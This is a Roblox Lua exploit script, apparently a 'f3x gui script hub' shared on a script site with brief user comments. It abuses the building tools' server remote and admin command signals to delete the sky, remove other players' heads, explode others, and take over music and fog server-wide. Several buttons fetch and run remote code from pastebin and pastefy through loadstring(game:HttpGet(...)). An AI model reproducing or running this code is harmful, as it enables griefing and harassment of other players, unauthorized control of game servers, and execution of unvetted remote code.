	        local args = {	
	            [1] = "SyncTexture",	
	            [2] = {	
	                [1] = {	
	                    ["Part"] = part,	
	                    ["Face"] = side,	
	                    ["TextureType"] = "Decal",	
	                    ["Texture"] = "rbxassetid://".. asset	
	                }	
	            }	
	        }	
	        _(args)	
	    end	
	function ClonePart(part,parent)	
	             local args = {	
	           [1] = "Clone",	
	           [2] = {	
	           [1] = part	
	          },	
	           [3] = parent	
	        }	
	
	    return remote:InvokeServer(unpack(args))	
	end	
	    function Sky(id)	
	local ReplicatedStorage = game:GetService("ReplicatedStorage")	
	    local RequestCommandSilent = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent	
	    	
	    	
	
	local function findBuildingTools()	
	    local player = game:GetService("Players").LocalPlayer	
	
	    for _, item in ipairs(player.Character:GetChildren()) do	
	        if item:IsA("Tool") and item:FindFirstChild("SyncAPI") then	
	            return item	
	        end	
	    end	
	
	    for _, item in ipairs(player.Backpack:GetChildren()) do	
	        if item:IsA("Tool") and item:FindFirstChild("SyncAPI") then	
	            return item	
	        end	
	    end	
	
	    return nil	
	end	
	
	local buildingTools = findBuildingTools()	
	if not buildingTools then	
	    warn("btools not found")	
	    return	
	end	
	
	local syncAPI        = buildingTools:FindFirstChild("SyncAPI")	
	local serverEndpoint = syncAPI and syncAPI:FindFirstChild("ServerEndpoint")	
	
	if not serverEndpoint then	
	    warn("btools not found")	
	    return	
	end	
	
	local skyInstance = workspace.Terrain:FindFirstChild("Sky") or workspace:FindFirstChild("Sky")	
	if not skyInstance then	
	
	print"ok"	
	end	
	spawn(function()	
	DestroyPart(skyInstance)	
	end)	
	local success, result	
	if serverEndpoint:IsA("RemoteFunction") then	
	    success, result = pcall(function()	
	        return serverEndpoint:InvokeServer(unpack(args))	
	    end)	
	else	
	
	    serverEndpoint:FireServer(unpack(args))	
	    success = true	
	end	
	
	if success then	
	    	
	print"yay"	
	    	
	end	
	        e = char.HumanoidRootPart.CFrame.x	
	        f = char.HumanoidRootPart.CFrame.y	
	        g = char.HumanoidRootPart.CFrame.z	
	                mhm = CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,-5,0)	
	                v = remote:InvokeServer("CreatePart","Normal",mhm,char)	
	                task.spawn(function()	
	                SetName(v,"johnbeep")	
	                end)	
	                task.spawn(function()	
	                AddMesh(v)	
	                end)	
	                task.spawn(function()	
	                rq:InvokeServer(";time 0")	
	                end)	
	                task.spawn(function()	
	                Resize(v,Vector3.new(0,0,0),v.CFrame)	
	                end)	
	                task.spawn(function()	
	                SetMesh(v,"1527559")	
	                end)	
	                task.spawn(function()	
	                MeshColor(v,vector.create(2,0,0))	
	                end)	
	                task.spawn(function()	
	                SetTexture(v,id)	
	                end)	
	                task.spawn(function()	
	           MeshResize(v,Vector3.new(-3000,-1000,-3000))	
	                end)	
	                task.spawn(function()	
	                SetLocked(v,true)	
	                end)	
	
	local rotationAngle = 5	
	    local rotationSpeed = math.rad(20)	
	    RunService.Heartbeat:Connect(function(deltaTime)	
	        rotationAngle = rotationAngle + rotationSpeed * deltaTime	
	        local rotation = CFrame.Angles(0, rotationAngle, 0)	
	        local cf = CFrame.new(v.Position) * rotation	
	        	
	        task.spawn(function()	
	            MovePart(v, cf)	
	        end)	
	    end)	
	
	            end	
	Sky("1529455")	
	
	while true do	
	    wait(0.1)	
	        if character:FindFirstChildOfClass("Humanoid").Health <= 0 then	
	            RequestCommand:InvokeServer(";titler me BAD CHOICE")	
	
	ClonePart(character.Head,workspace.Terrain)	
	wait(0.1)	
	local bg = workspace.Terrain.Head	
	task.spawn(function()	
	DestroyPart(bg.face)	
	end)	
	task.spawn(function()	
	SetTrans(bg,1)	
	end)	
	ClonePart(character.johnbeep,workspace.Terrain)	
	                spawn(function()	
	MeshColor(workspace.Terrain.johnbeep,vector.create(0,0,0))	
	                end)	
	task.spawn(function()	
	MeshResize(workspace.Terrain.johnbeep,Vector3.new(-50000,-50000,-50000))	
	                end)	
	RequestCommand:InvokeServer(";explode others")	
	RequestCommand:InvokeServer(";music 17717379222")	
	RequestCommand:InvokeServer(";volume 10")	
	wait(4)	
	            RequestCommand:InvokeServer(";music 19094700")	
	            RequestCommand:InvokeServer(";pitch 0.5")	
	            RequestCommand:InvokeServer(";volume 3")	
	      wait(0.8)	
	      RequestCommand:InvokeServer(";fogcolor black")	
	RequestCommand:InvokeServer(";fog 3000")	
	            break	
	        end	
	    end	
	
			
		task.delay(DEBOUNCE_TIME, function()	
			isDebounced = false	
		end)	
	end)	
end;
task.spawn(C_8);
-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.AK-47.LocalScript
local function C_c()
	local script = LMG2L["LocalScript_c"];
	local button = script.Parent	
	local Players = game:GetService("Players")	
	local player = Players.LocalPlayer	
	
	local DEBOUNCE_TIME = 0.25	
	local isDebounced = false	
	
	button.Activated:Connect(function()	
	    if isDebounced then return end	
	    isDebounced = true	
	
	local soundlist = {	
	    HardHit1 = "rbxassetid://565207203",	
	    HardHit2 = "rbxassetid://541909913",	
	    HardHit3 = "rbxassetid://541909983",	
	    WeakHit1 = "rbxassetid://558642292",	
	    WeakHit2 = "rbxassetid://541907812",	
	    Slice1 = "rbxassetid://260429964",	
	    Slice2 = "rbxassetid://260430015",	
	    Explosion1 = "rbxassetid://138186576",	
	    Explosion2 = "rbxassetid://157878578",	
	    Woosh1 = "rbxassetid://541909867",	
	    Woosh2 = "rbxassetid://541909763"	
	}	
	function swait(t)	
	    if t then	
	        for i = 0, t do	
	            game:GetService('RunService').Stepped:wait(0)	
	        end	
	    else	
	        game:GetService('RunService').Stepped:wait(0)	
	    end	
	    return true	
	end	
	function soundeffect(id, volume, speed, parent, forcewait)	
	    local func = function()	
	        local s = Instance.new('Sound')	
	        s.Name = "SoundEffect"	
	        s.Volume = volume	
	        s.PlaybackSpeed = speed	
	        s.SoundId = id	
	        s.Looped = false	
	        s.Parent = parent	
	        s:Play()	
	        repeat wait() until not s.Playing	
	        s:Destroy()	
	    end	
	    if forcewait then	
	        func()	
	    else	
	        spawn(func)	
	    end	
	end	
	local RunService = game:GetService("RunService")	
	function specialsound(id, volume, speed, parent, starts, ends)	
	    local func = function()	
	        local s = LoadLibrary("RbxUtility").Create("Sound")()	
	        s.Name = "SoundEffect"	
	        s.Volume = volume	
	        s.PlaybackSpeed = speed	
	        s.SoundId = id	
	        s.TimePosition = starts	
	        s.Looped = false	
	        s.Parent = parent	
	        s:Play()	
	        repeat swait() until s.TimePosition >= ends	
	        s:Destroy()	
	    end	
	    spawn(func)	
	end	
	
	local ReplicatedStorage = game:GetService("ReplicatedStorage")	
	local player = game.Players.LocalPlayer	
	local char = player.Character	
	local tool	
	u=game:GetService("UserInputService")	
	for i,v in player:GetDescendants() do	
	    if v.Name == "SyncAPI" then	
	        tool = v.Parent	
	    end	
	end	
	for i,v in game.ReplicatedStorage:GetDescendants() do	
	    if v.Name == "SyncAPI" then	
	        tool = v.Parent	
	    end	
	end	
	
	remote = tool.SyncAPI.ServerEndpoint	
	
	function _(args)	
	spawn(function()	
	    return remote:InvokeServer(unpack(args))	
	end)	
	end	
	
	function CreatePart(cf,parent)	
	    local args = {	
	        [1] = "CreatePart",	
	        [2] = "Normal",	
	        [3] = cf,	
	        [4] = parent	
	    }	
	    return _(args)	
	end	
	
	function MovePart(part,cf)	
	    local args = {	
	        [1] = "SyncMove",	
	        [2] = {	
	            [1] = {	
	                ["Part"] = part,	
	                ["CFrame"] = cf	
	            }	
	        }	
	    }	
	    _(args)	
	end	
	
	function Resize(part,size,cf)	
	    local args = {	
	        [1] = "SyncResize",	
	        [2] = {	
	            [1] = {	
	                ["Part"] = part,	
	                ["CFrame"] = cf,	
	                ["Size"] = size	
	            }	
	        }	
	    }	
	    _(args)	
	end	
	
	function SetTrans(part,int)	
	    local args = {	
	        [1] = "SyncMaterial",	
	        [2] = {	
	            [1] = {	
	                ["Part"] = part,	
	                ["Transparency"] = int	
	            }	
	        }	
	    }	
	    _(args)	
	end	
	
	function Setmate(part,int)	
	    local args = {	
	        [1] = "SyncMaterial",	
	        [2] = {	
	            [1] = {	
	                ["Part"] = part,	
	                ["Material"] = int	
	            }	
	        }	
	    }	
	    _(args)	
	end	
	
	function Color(part,color)	
	    local args = {	
	        [1] = "SyncColor",	
	        [2] = {	
	            [1] = {	
	                ["Part"] = part,	
	                ["Color"] = color,	
	                ["UnionColoring"] = false	
	            }	
	        }	
	    }	
	    _(args)	
	end	
	  function SetAnchor(boolean,part)	
	        local args = {	
	            [1] = "SyncAnchor",	
	            [2] = {	
	                [1] = {	
	                    ["Part"] = part,	
	                    ["Anchored"] = boolean	
	                }	
	            }	
	        }	
	        _(args)	
	    end	
	function DestroyPart(part)	
	    local args = {	
	        [1] = "Remove",	
	        [2] = {	
	            [1] = part	
	        }	
	    }	
	    _(args)	
	end	
	
	function SetAnchor(boolean,part)	
	    local args = {	
	        [1] = "SyncAnchor",	
	        [2] = {	
	            [1] = {	
	                ["Part"] = part,	
	                ["Anchored"] = boolean	
	            }	
	        }	
	    }	
	    _(args)	
	end	
	
	function SetCollision(part,boolean)	
	    local args = {	
	        [1] = "SyncCollision",	
	        [2] = {	
	            [1] = {	
	                ["Part"] = part,	
	                ["CanCollide"] = boolean	
	            }	
	        }	
	    }	
	    _(args)	
	end	
	
	function AddMesh(part)	
	    local args = {	
	        [1] = "CreateMeshes",	
	        [2] = {	
	            [1] = {	
	                ["Part"] = part	
	            }	
	        }	
	    }	
	    _(args)	
	end	
	
	function SetMesh(part,meshid)	
	    local args = {	
	        [1] = "SyncMesh",	
	        [2] = {	
	            [1] = {	
	                ["Part"] = part,	
	                ["MeshId"] = "rbxassetid://"..meshid	
	            }	
	        }	
	    }	
	    _(args)	
	end	
	   function SpawnDecal(part,side)	
	        local args = {	
	            [1] = "CreateTextures",	
	            [2] = {	
	                [1] = {	
	                    ["Part"] = part,	
	                    ["Face"] = side,	
	                    ["TextureType"] = "Decal"	
	                }	
	            }	
	        }	
	
	        _(args)	
	    end	
	    function AddDecal(part,asset,side)	
	        local args = {	
	            [1] = "SyncTexture",	
	            [2] = {	
	                [1] = {	
	                    ["Part"] = part,	
	                    ["Face"] = side,	
	                    ["TextureType"] = "Decal",	
	                    ["Texture"] = "rbxasset://".. asset	
	                }	
	            }	
	        }	
	        _(args)	
	    end	
	    function MeshResize(part,size)	
	        local args = {	
	            [1] = "SyncMesh",	
	            [2] = {	
	                [1] = {	
	                    ["Part"] = part,	
	                    ["Scale"] = size	
	                }	
	            }	
	        }	
	        _(args)	
	    end	
	function Weld(part1,part2,lead)	
	    local args = {	
	        [1] = "CreateWelds",	
	        [2] = {	
	            [1] = part1,	
	            [2] = part2	
	        },	
	        [3] = lead	
	    }	
	    _(args)	
	end	
	    function SetName(part, stringg)	
	        local args = {	
	            [1] = "SetName",	
	            [2] = {	
	                [1] = part	
	            },	
	            [3] = stringg	
	        }	
	
	        _(args)	
	    end	
	function light(part)	
	spawn(function()	
	    if not part or not part:IsA("BasePart") then	
	        return	
	    end	
	    spawn(function()	
	        local createArgs = {	
	            "CreateLights",	
	            {	
	                {	
	                    Part = part,	
	                    LightType = "PointLight"	
	                }	
	            }	
	        }   	
	        local syncArgs = {	
	            "SyncLighting",	
	            {	
	                {	
	                    Part = part,	
	                    LightType = "PointLight",	
	                    Color = Color3.fromRGB(255, 155, 0),	
	                    Brightness = 20,	
	                    Range = 2,	
	                }	
	            }	
	        } 	
	        spawn(function()	
	            _(createArgs)	
	        end)      	
	        spawn(function()	
	            _(syncArgs)	
	        end)    	
	        task.wait()	
	        if part and part.Parent then	
	            for i, v in ipairs(part:GetDescendants()) do	
	                if v:IsA("PointLight") then	
	                    spawn(function()	
	                        DestroyPart(v)	
	                    end)	
	                end	
	            end	
	        end	
	    end)	
	end)	
	end	
	
	    local function blood(part) 	
	    local argsCreate = {	
	        [1] = "CreateDecorations",	
	        [2] = {	
	            [1] = {	
	                ["Part"] = part,	
	                ["DecorationType"] = "Smoke"	
	            }	
	        }	
	    }	
	    local argsSync = {	
	        [1] = "SyncDecorate",	
	        [2] = {	
	            [1] = {	
	                ["Part"] = part,	
	                ["DecorationType"] = "Smoke",	
	                ["Size"] = 3,	
	                ["RiseVelocity"] = 0,	
	                ["Opacity"] = 1,	
	                ["Color"] = Color3.fromRGB(60000, 0, 0)	
	            } 	
	        } 	
	    }	
	    spawn(function()	
	    _(argsCreate)	
	    end)	
	    spawn(function()	
	    _(argsSync)	
	    end)	
	end	
	function KillTarget(target)	
	    if target and target.Character then	
	        local head = target.Character:FindFirstChild("Head")	
	        if head then	
	            local args = {	
	                [1] = "SetLocked",	
	                [2] = { [1] = head },	
	                [3] = false	
	            }	
	            _(args)	
	            spawn(function()	
	            blood(target.Character.Torso)	
	            end)	
	            local args2 = {	
	                [1] = "Remove",	
	                [2] = { [1] = head }	
	            }	
	            _(args2)	
	        end	
	    end	
	end	
	    for i,v in char:GetDescendants() do	
	        if v:IsA("BasePart") then	
	            spawn(function()	
	            SetTrans(v,1)	
	            end)	
	        end	
	    end	
	    for i,v in char:GetDescendants() do	
	        if v:IsA("Decal") then	
	            spawn(function()	
	            DestroyPart(v)	
	            end)	
	        end	
	    end	
	rightArm=char["Right Arm"]	
	
	
	    cf=CFrame.new()	
	local larm = char["Left Arm"]	
	local rarm = char["Right Arm"]	
	local lleg = char["Left Leg"]	
	local rleg = char["Right Leg"]	
	local trs= char.Torso	
	local hd = char.Head	
	
	nlarm = remote:InvokeServer("CreatePart","Normal",cf,workspace)	
	nrarm = remote:InvokeServer("CreatePart","Normal",cf,workspace)	
	nlleg = remote:InvokeServer("CreatePart","Normal",cf,workspace)	
	nrleg = remote:InvokeServer("CreatePart","Normal",cf,workspace)	
	ntrs = remote:InvokeServer("CreatePart","Normal",cf,workspace)	
	nhd = remote:InvokeServer("CreatePart","Normal",cf,workspace)	
	
	
	spawn(function()	
	Resize(nlarm, larm.Size, larm.CFrame)	
	end)	
	spawn(function()	
	Resize(nrarm, rarm.Size, rarm.CFrame)	
	end)	
	spawn(function()	
	Resize(nlleg, lleg.Size, lleg.CFrame)	
	end)	
	spawn(function()	
	Resize(nrleg, rleg.Size, rleg.CFrame)	
	end)	
	spawn(function()	
	Resize(ntrs, trs.Size, trs.CFrame)	
	end)	
	spawn(function()	
	Resize(nhd, hd.Size, hd.CFrame)	
	end)	
	
	
	spawn(function()	
	Color(nlarm, Color3.fromRGB(255, 255, 255))	
	end)	
	spawn(function()	
	Color(nrarm, Color3.fromRGB(255, 255, 255))	
	end)	
	spawn(function()	
	Color(nlleg, Color3.fromRGB(0, 0, 0))	
	end)	
	spawn(function()	
	Color(nrleg, Color3.fromRGB(0, 0, 0))	
	end)	
	spawn(function()	
	Color(ntrs, Color3.fromRGB(155, 155, 155))	
	end)	
	spawn(function()	
	Color(nhd, Color3.fromRGB(255, 255, 255))	
	end)	
	
	spawn(function()	
	SetCollision(nlarm, false)	
	end)	
	spawn(function()	
	SetCollision(nrarm, false)	
	end)	
	spawn(function()	
	SetCollision(nlleg, false)	
	end)	
	spawn(function()	
	SetCollision(nrleg, false)	
	end)	
	spawn(function()	
	SetCollision(ntrs, false)	
	end)	
	spawn(function()	
	SetCollision(nhd, false)	
	end)	
	
	spawn(function()	
	AddMesh(nhd)	
	end)	
	spawn(function()	
	SpawnDecal(nhd,Enum.NormalId.Front)	
	end)	
	spawn(function()	
	AddDecal(nhd,"textures/face.png",Enum.NormalId.Front)	
	end)	
	spawn(function()	
	MeshResize(nhd, Vector3.new(1.3,1.3,1.3))	
	end)	
	
	spawn(function()	
	AddMesh(nlarm)	
	end)	
	spawn(function()	
	SetMesh(nlarm,"127739625807358")	
	end)	
	
	
	spawn(function()	
	AddMesh(nrarm)	
	end)	
	spawn(function()	
	SetMesh(nrarm,"127739625807358")	
	end)	
	spawn(function()	
	AddMesh(ntrs)	
	end)	
	spawn(function()	
	SetMesh(ntrs,"2027989253")	
	end)	
	spawn(function()	
	AddMesh(nlleg)	
	end)	
	spawn(function()	
	SetMesh(nlleg,"127739625807358")	
	end)	
	spawn(function()	
	AddMesh(nrleg)	
	end)	
	
	spawn(function()	
	SetMesh(nrleg,"127739625807358")	
	end)	
	
	spawn(function()	
	local plr = game.Players.LocalPlayer	
	local char = plr.Character	
	
	local humanoid = char:FindFirstChild("Humanoid")	
	local torso = char:FindFirstChild("Torso")	
	local head = char.Head	
	local ra = char:FindFirstChild("Right Arm")	
	local la = char:FindFirstChild("Left Arm")	
	local rl = char:FindFirstChild("Right Leg")	
	local ll = char:FindFirstChild("Left Leg")	
	local rs = torso:FindFirstChild("Right Shoulder")	
	local ls = torso:FindFirstChild("Left Shoulder")	
	local rh = torso:FindFirstChild("Right Hip")	
	local lh = torso:FindFirstChild("Left Hip")	
	local neck = torso:FindFirstChild("Neck")	
	local rj = char:FindFirstChild("HumanoidRootPart"):FindFirstChild("RootJoint")	
	local anim = char:FindFirstChild("Animate")	
	if anim then	
	    anim:Destroy()	
	end	
	
	local rm = Instance.new("Weld", torso)	
	rm.C0 = CFrame.new(1.5, 0.5, 0)	
	rm.C1 = CFrame.new(0, 0.5, 0)	
	rm.Part0 = torso	
	rm.Part1 = ra	
	
	local lm = Instance.new("Weld", torso)	
	lm.C0 = CFrame.new(-1.5, 0.5, 0)	
	lm.C1 = CFrame.new(0, 0.5, 0)	
	lm.Part0 = torso	
	lm.Part1 = la	
	
	local rlegm = Instance.new("Motor", torso)	
	rlegm.C0 = CFrame.new(0.5, -1, 0)	
	rlegm.C1 = CFrame.new(0, 1, 0)	
	rlegm.Part0 = torso	
	rlegm.Part1 = rl	
	rlegm.Name = "Right Hip"	
	
	local llegm = Instance.new("Motor", torso)	
	llegm.C0 = CFrame.new(-0.5, -1, 0)	
	llegm.C1 = CFrame.new(0, 1, 0)	
	llegm.Part0 = torso	
	llegm.Part1 = ll	
	llegm.Name = "Left Hip"	
	
	neck.C0 = CFrame.new(0, 1, 0)	
	neck.C1 = CFrame.new(0, -0.5, 0)	
	rj.C0 = CFrame.new(0, -1, 0)	
	rj.C1 = CFrame.new(0, -1, 0)	
	
	
	local rsc0 = rm.C0	
	local lsc0 = lm.C0	
	local neckc0 = neck.C0	
	local rootc0 = rj.C0	
	local llc0 = llegm.C0	
	local rlc0 = rlegm.C0	
	
	local speed = 0.4	
	local angle = 0	
	local anglespeed = 0	
	local mvmnt = 0	
	local rootpart = char:FindFirstChild("HumanoidRootPart")	
	local camera = workspace.CurrentCamera	
	function clerp(c1, c2, al)	
	    local com1 = {c1.X, c1.Y, c1.Z, c1:toEulerAnglesXYZ()}	
	    local com2 = {c2.X, c2.Y, c2.Z, c2:toEulerAnglesXYZ()}	
	    for i,v in pairs(com1) do 	
	        com1[i] = v + (com2[i] - v) * al	
	    end	
	    return CFrame.new(com1[1], com1[2], com1[3]) * CFrame.Angles(select(4, unpack(com1)))	
	end	
	
	game:GetService("RunService").RenderStepped:Connect(function()	
	    angle = (angle % 100) + anglespeed / 10	
	    mvmnt = math.pi * math.sin(math.pi * 2 / 100 * (angle * 10))	
	    	
	    local rscf = rsc0	
	    local lscf = lsc0	
	    local rlcf = rlc0	
	    local llcf = llc0	
	    local rjcf = rootc0	
	    local ncf = neckc0	
	    	
	    local rayz = Ray.new(rootpart.Position, Vector3.new(0, -4.1, 0))	
	    local hitz, enz = workspace:FindPartOnRay(rayz, char)	
	    	
	    ncf = neckc0 * CFrame.Angles(camera.CoordinateFrame.lookVector.y, 0, 0)	
	    	
	    rscf = rsc0 * CFrame.new(-.55, 0, .35) * CFrame.Angles(camera.CoordinateFrame.lookVector.y + math.pi/2, 0, 0)	
	    lscf = lsc0 * CFrame.new(.85, 0, -.65) * CFrame.Angles(camera.CoordinateFrame.lookVector.y + math.pi/2, 0, math.rad(45))	
	    if not hitz then	
	        ncf = neckc0 * CFrame.Angles(math.pi/18, 0, 0)	
	        rscf = rsc0 * CFrame.new(-.45, 0, -.75) * CFrame.Angles(math.pi/5 + math.pi/18, 0, math.rad(-70))	
	        lscf = lsc0 * CFrame.new(.35, 0, 0) * CFrame.Angles(math.pi/3.5 + math.pi/18, 0, 0)	
	        rjcf = rootc0 * CFrame.Angles(-math.pi/32, 0, 0)	
	        rlcf = rlc0 * CFrame.new(0, 0.7, -0.5) * CFrame.Angles(-math.pi/14, 0, 0)	
	        llcf = llc0 * CFrame.Angles(-math.pi/20, 0, 0)	
	    elseif humanoid.Sit then	
	        ncf = neckc0 * CFrame.Angles(0, 0, 0)	
	        rjcf = rootc0 * CFrame.new(0, -.2, 0)	
	        rlcf = rlc0 * CFrame.Angles(math.pi/2, 0, math.rad(7.5))	
	        llcf = llc0 * CFrame.Angles(math.pi/2, 0, -math.rad(7.5))	
	    elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude <= 2 then	
	        rjcf = rootc0	
	        rlcf = rlc0 * CFrame.Angles(-math.rad(.5), 0, math.rad(1.5))	
	        llcf = llc0 * CFrame.Angles(math.rad(1.5), 0, -math.rad(1.5))	
	    elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude <= 20 then	
	        anglespeed = 2	
	        rjcf = rootc0	
	        rlcf = rlc0 * CFrame.Angles(math.sin(-angle) * .65, 0, math.rad(.5))	
	        llcf = llc0 * CFrame.Angles(math.sin(angle) * .65, 0, -math.rad(.5))	
	    elseif Vector3.new(torso.Velocity.x, 0, torso.Velocity.z).magnitude >= 20 then	
	        anglespeed = 2.7	
	        ncf = neckc0 * CFrame.Angles(math.pi/18, 0, 0)	
	        rscf = rsc0 * CFrame.new(-.45, 0, -.75) * CFrame.Angles(math.pi/5 + math.pi/18, 0, math.rad(-70))	
	        lscf = lsc0 * CFrame.new(.35, 0, 0) * CFrame.Angles(math.pi/3.5 + math.pi/18, 0, 0)	
	        rjcf = rootc0 * CFrame.new(0, 0, 0) * CFrame.Angles(-math.pi/18, math.sin(angle) * .1, math.sin(angle) * .045)	
	        rlcf = rlc0 * CFrame.new(0, .3 + -math.cos(-angle) * .3, -.2 + math.sin(angle) * 0.25) * CFrame.Angles(-math.pi/18 + math.sin(-angle) * 1.3, 0, math.rad(.5))	
	        llcf = llc0 * CFrame.new(0, .3 - -math.cos(angle) * .3, -.05 - math.sin(angle) * 0.25) * CFrame.Angles(-math.pi/18 + math.sin(angle) * 1.3, 0, -math.rad(.5))	
	    end	
	   	
	    rm.C0 = clerp(rm.C0, rscf, speed)	
	    lm.C0 = clerp(lm.C0, lscf, speed)	
	    rj.C0 = clerp(rj.C0, rjcf, speed)	
	    rlegm.C0 = clerp(rlegm.C0, rlcf, speed)	
	    llegm.C0 = clerp(llegm.C0, llcf, speed)	
	    neck.C0 = clerp(neck.C0, ncf, speed)	
	end)	
	end)	
	
	    for i,v in char:GetDescendants() do	
	        if v:IsA("BasePart") then	
	            spawn(function()	
	            SetAnchor(false,v)	
	            end)	
	        end	
	    end	
	r=Instance.new	
	
	local ak = remote:InvokeServer("CreatePart","Normal",cf,workspace)	
	
	spawn(function()	
	    Resize(ak, Vector3.new(0.3,1.45,5.05), CFrame.new())	
	end)	
	spawn(function()	
	    SetName(ak,'AK-47')	
	end)	
	    spawn(function()	
	    SetCollision(ak, false)	
	end)	
	    spawn(function()	
	    Color(ak, Color3.new(0,0,0))	
	end)	
	    spawn(function()	
	    AddMesh(ak)	
	end)	
	    spawn(function()	
	    SetMesh(ak, "6951907418")	
	end)	
	   spawn(function()	
	    MeshResize(ak,Vector3.new(0.1,0.1,0.1))	
	end)	
	
	function e()	
	task.spawn(function()	
	MovePart(nlarm, larm.CFrame)	
	end)	
	task.spawn(function()	
	MovePart(nrarm, rarm.CFrame)	
	end)	
	task.spawn(function()	
	MovePart(nlleg, lleg.CFrame)	
	end)	
	task.spawn(function()	
	MovePart(nrleg, rleg.CFrame)	
	end)	
	task.spawn(function()	
	MovePart(ntrs, trs.CFrame)	
	end)	
	task.spawn(function()	
	MovePart(nhd, hd.CFrame)	
	end)	
	task.spawn(function()	
	MovePart(ak, rarm.CFrame * CFrame.new(0,-1,-0.25) * CFrame.Angles(math.rad(270),math.rad(-180),0))	
	        end)	
	end	
	
	function FireLaser()	
	    local sounds = {	
	        {17.49,17.981267708586},	
	        {17.490114626798,17.755552823579},	
	        {18,18.465876732586707476}	
	    }	
	    local ids = sounds[math.random(#sounds)]	
	    	
	    spawn(function()	
	    s=r('Sound',ak)	
	    s.SoundId='rbxassetid://1174337926'	
	    s.Volume=3	
	    s:Play()	
	    wait(5)	
	    s:Destroy()	
	    end)	
	
	    local laserPart = remote:InvokeServer("CreatePart","Normal",cf,workspace)	
	    	
	    spawn(function()	
	        Setmate(laserPart, "Neon")	
	end)	
	    spawn(function()	
	        SetCollision(laserPart, false)	
	end)	
	
	    local mouse = player:GetMouse()	
	    local start = ak.Position + Vector3.new(0.5,0,-0.5)	
	    local endp = mouse.Hit.p	
	    	
	    local ignoreList = {char, ak, nlarm, nrarm, nlleg, nrleg, ntrs, nhd}	
	    	
	    local ray = Ray.new(start, (endp-start).unit * 999)	
	    local hit, position = workspace:FindPartOnRayWithIgnoreList(ray, ignoreList)	
	    local mag = (start-position).magnitude + 2	
	
	    spawn(function()	
	        Resize(laserPart, Vector3.new(0.1,0.1,mag), CFrame.new())	
	end)	
	    spawn(function()	
	        MovePart(laserPart, CFrame.new(start, position) * CFrame.new(0,0,-mag/2))	
	    end)	
	
	    spawn(function()	
	        Color(laserPart, Color3.new(1,1,0))	
	    end)	
	
	    spawn(function()	
	        for i = 1,10 do	
	    spawn(function()	
	            SetTrans(laserPart, i/10)	
	end)	
	            wait(0.05)	
	        end	
	    spawn(function()	
	        DestroyPart(laserPart)	
	end)	
	    end)	
	
	    spawn(function()	
	        if hit then	
	            local humanoid = hit.Parent:FindFirstChildOfClass("Humanoid")	
	            if humanoid then	
	                local playerHit = game.Players:GetPlayerFromCharacter(hit.Parent)	
	                if playerHit then	
	                    KillTarget(playerHit)	
	                end	
	            end	
	        end	
	    end)	
	end	
	
	local mouse = player:GetMouse()	
	u.TouchTap:Connect(function(gameProccessed, input)	
	if not gameProccessed then return end	
	if not char then return end	
	if char.Humanoid.Health == 0 then return end	
	  spawn(function()	
	    FireLaser()	
	   end)	
	  spawn(function()	
	  light(ak)	
	  end)	
	end)	
	
	RunService.Heartbeat:Connect(e)	
	    	
	    task.delay(DEBOUNCE_TIME, function()	
	        isDebounced = false	
	    end)	
	end)	
	
end;
task.spawn(C_c);
-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.soul reaper.LocalScript
local function C_f()
	local script = LMG2L["LocalScript_f"];
	local button = script.Parent	
	local Players = game:GetService("Players")	
	local player = Players.LocalPlayer	
	
	local DEBOUNCE_TIME = 0.25	
	local isDebounced = false	
	
	button.Activated:Connect(function()	
	    if isDebounced then return end	
	    isDebounced = true	
	
	loadstring(game:HttpGet("https://pastebin.com/raw/ZCbtsY86"))()	
	
	    task.delay(DEBOUNCE_TIME, function()	
	        isDebounced = false	
	    end)	
	end)	
	
end;
task.spawn(C_f);
-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.floating earth.LocalScript
local function C_12()
	local script = LMG2L["LocalScript_12"];
	local button = script.Parent	
	local Players = game:GetService("Players")	
	local player = Players.LocalPlayer	
	
	local DEBOUNCE_TIME = 0.25	
	local isDebounced = false	
	
	button.Activated:Connect(function()	
	    if isDebounced then return end	
	    isDebounced = true	
	
	loadstring(game:HttpGet("https://pastefy.app/bIR5jI2O/raw"))()	
	
	    task.delay(DEBOUNCE_TIME, function()	
	        isDebounced = false	
	    end)	
	end)	
	
end;
task.spawn(C_12);
-- Players.D0manated.PlayerGui.ScreenGui.drag.Frame.ORB.LocalScript
local function C_15()
	local script = LMG2L["LocalScript_15"];
	local button = script.Parent	
	local Players = game:GetService("Players")	
	local player = Players.LocalPlayer	
	
	local DEBOUNCE_TIME = 0.25	
	local isDebounced = false	
	
	button.Activated:Connect(function()	
	    if isDebounced then return end	
	    isDebounced = true	
	
	loadstring(game:HttpGet("https://pastebin.com/raw/xXcjPDWp"))()	
	
	    task.delay(DEBOUNCE_TIME, function()	
	        isDebounced = false	
	    end)	
	end)	
	
end;
task.spawn(C_15);

return LMG2L["ScreenGui_1"], require;

Features & Information

f3x gui script hub idk
#fx#orb

Community Comments (4)

elizma4him3elizma4him3Jan 22, 2026

hi

loopexploitzlelloopexploitzlelJan 23, 2026

cool

roadblockscherriesroadblockscherriesJan 23, 2026

leaked scripts but op gui

C00lkiddCameBackC00lkiddCameBackFeb 21, 2026

Ayo op!

More Scripts for Universal Scripts